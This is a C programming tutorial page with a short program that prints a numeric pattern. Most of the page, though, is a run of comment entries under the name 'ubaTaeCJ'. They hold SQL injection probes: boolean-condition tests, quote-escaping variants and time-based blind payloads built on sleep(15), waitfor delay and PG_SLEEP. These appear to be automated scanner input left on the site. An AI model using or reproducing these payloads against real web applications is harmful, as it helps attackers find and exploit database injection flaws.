# C Program to draw Number pattern V

Sample Input 1 :

5

Sample Output 1 :

```111112
322222
333334
544444
555556```

#### Program or Solution

``` #include<stdio.h> int main() { int i,j,n,num=1; printf("Enter row size:"); scanf("%d",&n); for(i=1;i<=n;i++) { if(i%2==0) { printf("%d",num+1); } for(j=1;j<=n;j++) { printf("%d",num); } if(i%2!=0) { printf("%d",num+1); } num++; printf("\n"); } return 0; } ```

#### Program Explanation

Refer Video tutorial

##### ubaTaeCJ
-1 OR 2+251-251-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3+251-251-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3*2<(0+5+251-251) --
##### ubaTaeCJ
-1 OR 3*2>(0+5+251-251) --
##### ubaTaeCJ
-1 OR 2+986-986-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3+986-986-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3*2<(0+5+986-986)
##### ubaTaeCJ
-1 OR 3*2>(0+5+986-986)
##### ubaTaeCJ
-1' OR 2+656-656-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3+656-656-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3*2<(0+5+656-656) --
##### ubaTaeCJ
-1' OR 3*2>(0+5+656-656) --
##### ubaTaeCJ
-1' OR 2+438-438-1=0+0+0+1 or 'tDEAfy7p'='
##### ubaTaeCJ
-1' OR 3+438-438-1=0+0+0+1 or 'tDEAfy7p'='
##### ubaTaeCJ
-1' OR 3*2<(0+5+438-438) or 'tDEAfy7p'='
##### ubaTaeCJ
-1' OR 3*2>(0+5+438-438) or 'tDEAfy7p'='
##### ubaTaeCJ
-1" OR 2+622-622-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3+622-622-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3*2<(0+5+622-622) --
##### ubaTaeCJ
-1" OR 3*2>(0+5+622-622) --
##### ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
##### ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
##### ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
##### ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
##### ubaTaeCJ
-1; waitfor delay '0:0:15' --
##### ubaTaeCJ
-1); waitfor delay '0:0:15' --
##### ubaTaeCJ
1 waitfor delay '0:0:15' --
##### ubaTaeCJ
EZ90El3c'; waitfor delay '0:0:15' --
##### ubaTaeCJ
-5 OR 817=(SELECT 817 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-5) OR 523=(SELECT 523 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1)) OR 107=(SELECT 107 FROM PG_SLEEP(15))--
##### ubaTaeCJ
sMLdcH6a' OR 279=(SELECT 279 FROM PG_SLEEP(15))--
##### ubaTaeCJ
7W8xmHNP') OR 415=(SELECT 415 FROM PG_SLEEP(15))--
##### ubaTaeCJ
S6PZreNT')) OR 539=(SELECT 539 FROM PG_SLEEP(15))--
1'"
@@bh22X